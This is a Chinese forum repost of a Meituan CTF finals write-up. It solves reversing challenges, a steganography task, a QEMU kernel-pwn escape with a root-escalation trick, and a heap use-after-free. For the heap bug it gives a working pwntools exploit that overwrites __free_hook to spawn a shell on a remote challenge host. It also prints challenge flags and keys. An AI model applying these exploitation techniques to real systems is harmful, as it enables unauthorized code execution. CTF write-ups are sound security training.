安全矩阵

 找回密码
 立即注册
搜索
查看: 1048|回复: 0

美团CTF个人决赛WP

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-10-12 00:48:11 | 显示全部楼层 |阅读模式
本帖最后由 chenqiang 于 2022-10-14 23:04 编辑

原文链接:美团CTF个人决赛WP


Reverse
ROP
解析data的ROP,一点一点还原
  1. from pwn import *
  2. opcode = open('data', 'rb').read()
  3. opcode_gadget = opcode[0x30+8:]
  4. for offset in range(0, len(opcode_gadget), 8):
  5.     print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')
复制代码


提取出来密文,转成64位的
  1. cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,
  2.           0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40]
  3. cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little')  for i in range(0,32,8)]
复制代码


分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种
[td]               
地址效果
0x4011D6异或两个64bit
0x401233变种的异或,配合0x4011d6就是swap
0x401332两个64bit相减
0x4013EE检查输入是否满足uuid格式
0x401480提取uuid中32位字符到bss段数组
0x40125D两个64bit相加
流程是一开始将一个32位字符放到bss段中,这个bss贴近我们输入放入bss段的位置,参与到运算
然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1]
最后对比密文跳转结果
照着指令写一个逆回来的过程
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186};
  5. void add(int i,int j){
  6.     bss_flag[i] -= bss_flag[j];
  7. }

  8. void sub(int i,int j){
  9.     bss_flag[i] += bss_flag[j];
  10. }

  11. void xor1(int i,int j){
  12.     bss_flag[i] ^= bss_flag[j];
  13. }

  14. int main(){
  15.     sub(0x0,0x7);
  16.     add(0x1,0x5);
  17.     sub(0x3,0x7);
  18.     add(0x0,0x5);
  19.     add(0x0,0x7);
  20.     sub(0x3,0x7);
  21.     add(0x0,0x5);
  22.     xor1(0x2,0x5);
  23.     xor1(0x2,0x5);
  24.     sub(0x3,0x7);
  25.     sub(0x2,0x6);
  26.     xor1(0x0,0x7);
  27.     add(0x2,0x4);
  28.     add(0x1,0x4);
  29.     xor1(0x1,0x7);
  30.     xor1(0x0,0x7);
  31.     sub(0x0,0x5);
  32.     sub(0x0,0x7);
  33.     sub(0x0,0x5);
  34.     add(0x1,0x7);
  35.     xor1(0x1,0x5);
  36.     add(0x1,0x6);
  37.     sub(0x1,0x4);
  38.     xor1(0x2,0x4);
  39.     add(0x1,0x4);
  40.     sub(0x0,0x6);
  41.     sub(0x2,0x7);
  42.     add(0x1,0x6);
  43.     sub(0x2,0x5);
  44.     add(0x0,0x7);
  45.     xor1(0x3,0x6);
  46.     add(0x2,0x4);
  47.     xor1(0x0,0x6);
  48.     xor1(0x0,0x5);
  49.     xor1(0x3,0x7);
  50.     xor1(0x0,0x4);
  51.     xor1(0x2,0x5);
  52.     xor1(0x2,0x6);
  53.     xor1(0x2,0x6);
  54.     xor1(0x3,0x4);
  55.     xor1(0x0,0x7);
  56.     xor1(0x2,0x5);
  57.     xor1(0x0,0x4);
  58.     xor1(0x3,0x5);
  59.     xor1(0x1,0x6);
  60.     xor1(0x3,0x7);
  61.     xor1(0x0,0x4);
  62.     xor1(0x1,0x4);
  63.     xor1(0x2,0x7);
  64.     xor1(0x1,0x7);
  65.     xor1(0x0,0x4);
  66.     xor1(0x2,0x6);
  67.     xor1(0x0,0x5);
  68.     xor1(0x1,0x7);
  69.     xor1(0x0,0x5);
  70.     xor1(0x0,0x4);
  71.     xor1(0x3,0x6);
  72.     xor1(0x1,0x7);
  73.     xor1(0x2,0x5);
  74.     xor1(0x0,0x7);
  75.     xor1(0x0,0x7);
  76.     xor1(0x2,0x4);
  77.     xor1(0x3,0x4);
  78.     xor1(0x3,0x7);
  79.     printf("%s",(char *)bss_flag);
  80.     // flag{eb4781b3-e3c5-475e-8af4-2fa50468f485}
  81. }
复制代码


crackme
go语言,一开始我ida还f5反编译不了,换了个才可以,难顶
直接sm4加密和rc4,sm4密钥写死在代码里
编辑
rc4的key在linese.txt里,密文也在里面
exp:
  1. from binascii import unhexlify
  2. from Crypto.Cipher import ARC4
  3. from sm4 import SM4Key

  4. c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518')
  5. key = b'd0cac74c1bbeea071817360e491585e8'
  6. cipher = ARC4.new(key)
  7. m = cipher.decrypt(c)
  8. key0 = SM4Key(b'xc08asb890ajds0a')
  9. print(key0.decrypt(m))
复制代码


Misc
What is that
stegsolve直接切换几个通道就可以看到
​编辑​

pwn
hello
直接网上查到kernel pwn qemu 的非预期
ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff然后exit就可以到su权限,再cat flag就可以
编辑
heap
一个UAF+数组上溢出
这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。
编辑
  1. from pwn import *
  2. context.log_level='debug'
  3. #p=process('./pwn')
  4. p=remote('47.95.8.59',42283)
  5. elf=ELF('./pwn')
  6. #libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6')
  7. libc=ELF('./libc.so.6')

  8. def add(size):
  9.     p.sendafter(b'>\n', b'1')
  10.     p.sendafter(b'add?\n', str(size).encode())

  11. def dele(index):
  12.     p.sendafter(b'>\n', b'2')
  13.     p.sendafter(b'up?\n', str(index).encode())

  14. def edit(index,size,content):
  15.     p.sendafter(b'>\n', b'3')
  16.     p.sendafter(b'write?\n', str(index).encode())
  17.     p.sendafter(b'write?\n', str(size).encode())
  18.     p.sendafter(b'Content:', content)

  19. def show(index):
  20.     p.sendafter(b'>\n', b'4')
  21.     p.sendafter(b'review?\n', str(index).encode())

  22. show(-11)
  23. p.recvuntil('Content:')
  24. probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008
  25. arraddr=probase+0x4060
  26. add(0x10)
  27. add(0x10)
  28. add(0x10)
  29. dele(0)
  30. dele(1)
  31. dele(2)
  32. edit(1,8,p64(arraddr))
  33. add(0x10)
  34. add(0x10)
  35. add(0x10)
  36. edit(2,8,p64(probase+elf.got['puts']))
  37. show(0)
  38. libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
  39. free_hook=libc_base+libc.symbols['__free_hook']
  40. system=libc_base+libc.symbols['system']
  41. edit(2,8,p64(free_hook))
  42. edit(0,8,p64(system))
  43. add(0x10)
  44. edit(3,8,b'/bin/sh\x00')
  45. dele(3)
  46. p.interactive()
复制代码


https://tttang.com/archive/1411/#toc_urlclassloader https://goodapple.top/archives/1749


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:50 , Processed in 0.013026 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表